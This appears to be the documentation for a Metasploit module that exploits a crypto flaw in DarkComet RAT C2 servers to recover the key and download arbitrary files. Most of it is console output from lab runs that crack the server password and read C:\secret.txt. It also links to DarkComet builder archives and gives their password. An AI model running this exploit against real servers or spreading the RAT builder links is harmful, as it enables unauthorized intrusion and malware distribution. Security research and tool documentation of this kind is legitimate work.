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This module exploits a publicly known vulnerability in the C2 server of DarkComet versions 3.2 and up
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf) which allows an attacker to download arbitrary files from the DarkComet C2. The vulnerability possibly affects versions prior to 3.2 as well. The vulnerability can be exploited without knowledge of the shared secret key by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing for key recovery, after which the exploit can be used to download arbitrary files from a DarkComet C2 server. See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware for details. See https://mega.nz/#!wlZkSJLK!NI_Z-9UoPBQ0MDEYXLVr1wUJyVV70qVprWqSUol_53k for the DarkComet 5.3.1 C2 server / builder See https://mega.nz/#!AxRmkQLb!MVjwua3qrzgyXq7vUWSxISwVE7vQ8rEJbexieb8s0Ro for the DarkComet 4.2F C2 server / builder (archive password is 'tr') ## Console output Below is an example of the exploit running against versions 5.3.1 and 4.2F (DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker). ### Version 5.3.1 (unknown password) ``` msf > use auxiliary/gather/darkcomet_filedownloader msf auxiliary(darkcomet_filedownloader) > show options Module options (auxiliary/gather/darkcomet_filedownloader): Name Current Setting Required Description ---- --------------- -------- ----------- BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password) LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server) NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1 RHOST 0.0.0.0 yes The target address RPORT 1604 yes The target port STORE_LOOT true no Store file in loot (will simply output file to console if set to false). TARGETFILE no Target file to download (assumes password is set) msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104 RHOST => 192.168.0.104 msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102 LHOST => 192.168.0.102 msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - C2 server uses password [darkcometpass] [*] 192.168.0.104:1604 - Storing data to loot... [*] Auxiliary module execution completed msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false STORE_LOOT => false msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass KEY => #KCMDDC51#-890darkcometpass msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt TARGETFILE => C:\secret.txt msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - omgsecret [*] Auxiliary module execution completed ``` ### Version 4.2F (unknown password) ``` msf > use auxiliary/gather/darkcomet_filedownloader msf auxiliary(darkcomet_filedownloader) > show options Module options (auxiliary/gather/darkcomet_filedownloader): Name Current Setting Required Description ---- --------------- -------- ----------- BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password) LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server) NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1 RHOST 0.0.0.0 yes The target address RPORT 1604 yes The target port STORE_LOOT true no Store file in loot (will simply output file to console if set to false). TARGETFILE no Target file to download (assumes password is set) msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104 RHOST => 192.168.0.104 msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102 LHOST => 192.168.0.102 msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false NEWVERSION => false msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - Missing 1 bytes of keystream ... [*] 192.168.0.104:1604 - Initiating brute force ... [*] 192.168.0.104:1604 - C2 server uses password [darkcometpass] [*] 192.168.0.104:1604 - Storing data to loot... [*] Auxiliary module execution completed msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass KEY => #KCMDDC42F#-890darkcometpass msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false STORE_LOOT => false msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt TARGETFILE => C:\secret.txt msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - omgsecret [*] Auxiliary module execution completed ```
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